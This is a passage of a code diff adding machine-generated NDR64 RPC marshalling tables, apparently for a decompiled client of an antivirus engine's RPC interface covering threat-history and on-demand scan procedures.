0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag285, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag276_t __midl_frag276 = +{ +/* Proc17_ServerMpScanEnumerateThreatHistory */ + { + /* Proc17_ServerMpScanEnumerateThreatHistory */ /* procedure Proc17_ServerMpScanEnumerateThreatHistory */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag268_t __midl_frag268 = +{ +/* Proc16_ServerMpScanOpenThreatHistory */ + { + /* Proc16_ServerMpScanOpenThreatHistory */ /* procedure Proc16_ServerMpScanOpenThreatHistory */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1288, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag264_t __midl_frag264 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag263_t __midl_frag263 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag264 +}; + +static const __midl_frag261_t __midl_frag261 = +{ +/* Proc15_ServerMpOnDemandThreatClose */ + { + /* Proc15_ServerMpOnDemandThreatClose */ /* procedure Proc15_ServerMpOnDemandThreatClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag264, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag253_t __midl_frag253 = +{ +/* Struct_1156_t */ + { + /* Struct_1156_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1156_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag252_t __midl_frag252 = +{ +/* *Struct_1156_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag253 +}; + +static const __midl_frag251_t __midl_frag251 = +{ +/* *Struct_110_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag60 +}; + +static const __midl_frag246_t __midl_frag246 = +{ +/* Struct_1118_t */ + { + /* Struct_1118_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1118_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag245_t __midl_frag245 = +{ +/* *Struct_1118_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag246 +}; + +static const __midl_frag243_t __midl_frag243 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag242_t __midl_frag242 = +{ +/* union_1078 */ + { + /* union_1078 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag243, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 5 /* 0x5 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag245, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag252, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag241_t __midl_frag241 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag240_t __midl_frag240 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag238_t __midl_frag238 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag229 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag235 + } +}; + +static const __midl_frag236_t __midl_frag236 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 232 /* 0xe8 */ + } +}; + +static const __midl_frag235_t __midl_frag235 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag236 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag230_t __midl_frag230 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 84 /* 0x54 */ + } +}; + +static const __midl_frag229_t __midl_frag229 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag230 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag227_t __midl_frag227 = +{ +/* Struct_1232_t */ + { + /* Struct_1232_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1232_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 272 /* 0x110 */, + 0, + 0, + &__midl_frag238, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag241 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag240 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag241 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, 